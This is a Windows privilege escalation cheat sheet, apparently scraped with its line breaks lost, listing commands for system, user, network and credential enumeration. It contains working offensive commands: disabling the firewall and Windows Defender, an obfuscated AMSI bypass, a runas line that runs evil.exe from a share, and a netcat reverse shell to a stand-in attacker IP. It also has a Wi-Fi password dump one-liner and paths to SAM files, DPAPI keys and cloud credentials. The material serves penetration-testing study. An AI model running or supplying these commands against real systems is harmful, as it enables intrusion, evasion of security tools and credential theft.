Windows Local Privilege Escalation
==System Info==
#Windows Version and Configuration::OS Version::systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
::Extract patches and updates::wmic qfe
::Architecture::wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
::List all env variables::setGet-ChildItem Env: | ft Key,Value
::List all drives::wmic logicaldisk get caption || fsutil fsinfo driveswmic logicaldisk get caption,description,providernameGet-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root==Users & Groups Enumeration==
::Get current username::echo %USERNAME% || whoami$env:username
::List user privilege::whoami /privwhoami /groups
::List all users::net userwhoami /allGet-LocalUser | ft Name,Enabled,LastLogonGet-ChildItem C:\Users -Force | select Name
::List logon requirements; useable for bruteforcing::net accounts
::Get details about a user (i.e. administrator, admin, current user)::net user administratornet user adminnet user %USERNAME%List all local groups
net localgroupGet-LocalGroup | ft Name
::Get details about a group (i.e. administrators)::net localgroup administratorsGet-LocalGroupMember Administrators | ft Name, PrincipalSourceGet-LocalGroupMember Administrateurs | ft Name, PrincipalSource
==Network Enumeration==
::List all network interfaces, IP, and DNS.::ipconfig /allGet-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4AddressGet-DnsClientServerAddress -AddressFamily IPv4 | ft
::Hosts file::type C:\Windows\System32\drivers\etc\hosts
::List current routing table::route printGet-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
::List the ARP table::arp -AGet-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
::List all current connections::netstat -ano
::List firewall state and current configuration::netsh advfirewall firewall dump
or
netsh firewall show statenetsh firewall show config
::List firewall's blocked ports::$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports
::Disable firewall & Defender::netsh firewall set opmode disablenetsh advfirewall set allprofiles state off
::List all network shares::net share
::SNMP Configuration::reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /sGet-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
==Windows Defender==
::Check the status of Defender::PS C:\> Get-MpComputerStatus
::Disable Real Time MonitoringPS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatusPS C:\> Set-MpPreference -DisableIOAVProtection $true
sc config WinDefend start= disabledsc stop WinDefend
==AppLocker Enumeration==::List of AppLocker rules::Get-ApplockerPolicy -Effective -xmlGet-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections$a = Get-ApplockerPolicy -effective$a.rulecollections
C:\> reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\
==Powershell==
::Default PowerShell locations in a Windows system.::C:\windows\syswow64\windowspowershell\v1.0\powershellC:\Windows\System32\WindowsPowerShell\v1.0\powershell
::Example of AMSI Bypass.::PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
::Powershell history::type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txttype C:\Users\TheShahzada\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txttype $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtcat (Get-PSReadlineOption).HistorySavePathcat (Get-PSReadlineOption).HistorySavePath | sls passw
::Password in Alternate Data Stream::PS > Get-Item -path flag.txt -Stream *PS > Get-Content -path flag.txt -Stream Flag
==Processes Enumeration and Tasks==
::What processes are running?::
tasklist /vnet startsc queryGet-ServiceGet-ProcessGet-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
::Which processes are running as "system"?::tasklist /v /fi "username eq system"
::Do you have powershell magic?::REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
::List installed programs::Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTimeGet-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
::List services::net startwmic service list brieftasklist /SVC
::Scheduled tasks::
schtasks /query /fo LIST 2>nul | findstr TaskNameschtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEMGet-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
::Startup tasks::
#wmic startup get caption,commandreg query HKLM\Software\Microsoft\Windows\CurrentVersion\Rreg query HKCU\Software\Microsoft\Windows\CurrentVersion\Runreg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOncedir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
==Windows Credentials==
::Winlogon Credentials::reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other wayreg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainNamereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserNamereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPasswordreg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainNamereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserNamereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
/* Use the cmdkey to list the stored credentials on the machine. */cmdkey /listCurrently stored credentials: Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator
/* Then you can use runas with the /savecred options in order to use the saved credentials. The following example is calling a remote binary via an SMB share */runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
/* Using runas with a provided set of credential. */C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
::DPAPI::/* In theory, the Data Protection API can enable symmetric encryption of any kind of data; in practice, its primary use in the Windows operating system is to perform symmetric encryption of asymmetric private keys, using a user or system secret as a significant contribution of entropy.
The DPAPI key is stored in the same file as the master key that protects the users private keys. It usually is 64 bytes of random data. (Notice that this directory is protected so you cannot list it usingdir from the cmd, but you can list it from PS). */
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
/* You can use mimikatz module dpapi::masterkey with the appropriate arguments (/pvk or /rpc) to decrypt it.The credentials files protected by the master password are usually located in: */dir C:\Users\username\AppData\Local\Microsoft\Credentials\dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
::Wifi::#List saved Wifi usingnetsh wlan show profile#To get the clear-text password usenetsh wlan show profile <SSID> key=clear#Oneliner to extract all wifi passwordscls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
::Saved RDP Connections::HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\HKCU\Software\Microsoft\Terminal Server Client\Servers\
::Recently Run Commands::HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRUHKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
::Remote Desktop Credential Manager::%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings/* Use the Mimikatz dpapi::rdg module with appropriate /masterkey to decrypt any .rdg filesYou can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi module */
:***:Files and Registry (Credentials):***:
::Putty Creds::reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
::Putty SSH Host Keys::reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
::SSH keys in registry::reg query HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys
/* If ssh-agent service is not running and you want it to automatically start on boot run: */Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
::Cloud Credentials::##From user home.aws\credentialsAppData\Roaming\gcloud\credentials.dbAppData\Roaming\gcloud\legacy_credentialsAppData\Roaming\gcloud\access_tokens.db.azure\accessTokens.json.azure\azureProfile.json
::SAM & SYSTEM backups::# Usually %SYSTEMROOT% = C:\Windows%SYSTEMROOT%\repair\SAM%SYSTEMROOT%\System32\config\RegBack\SAM%SYSTEMROOT%\System32\config\SAM%SYSTEMROOT%\repair\system%SYSTEMROOT%\System32\config\SYSTEM%SYSTEMROOT%\System32\config\RegBack\system
::Unattended files::C:\Windows\sysprep\sysprep.xmlC:\Windows\sysprep\sysprep.infC:\Windows\sysprep.infC:\Windows\Panther\Unattended.xmlC:\Windows\Panther\Unattend.xmlC:\Windows\Panther\Unattend\Unattend.xmlC:\Windows\Panther\Unattend\Unattended.xmlC:\Windows\System32\Sysprep\unattend.xmlC:\Windows\System32\Sysprep\unattended.xmlC:\unattend.txtC:\unattend.infdir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
::IIS Web Config::Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.configC:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinueGet-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
/* Example of web.config with credentials: */<authentication mode="Forms"> <forms name="login" loginUrl="/admin"> <credentials passwordFormat = "Clear"> <user name="Administrator" password="SuperAdminPassword" /> </credentials> </forms></authentication>
==Write Permissions==
/* Check if you can modify some config file to read some special file or if you can modify some binary that is going to be executed by an Administrator account (schedtasks).A way to find weak folder/files permissions in the system is doing: */accesschk.exe /accepteula # Find all weak folder permissions per drive.accesschk.exe -uwdqs Users c:\accesschk.exe -uwdqs "Authenticated Users" c:\accesschk.exe -uwdqs "Everyone" c:\# Find all weak file permissions per drive.accesschk.exe -uwqs Users c:\*.*accesschk.exe -uwqs "Authenticated Users" c:\*.*accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Note: Will be continue..../
References:
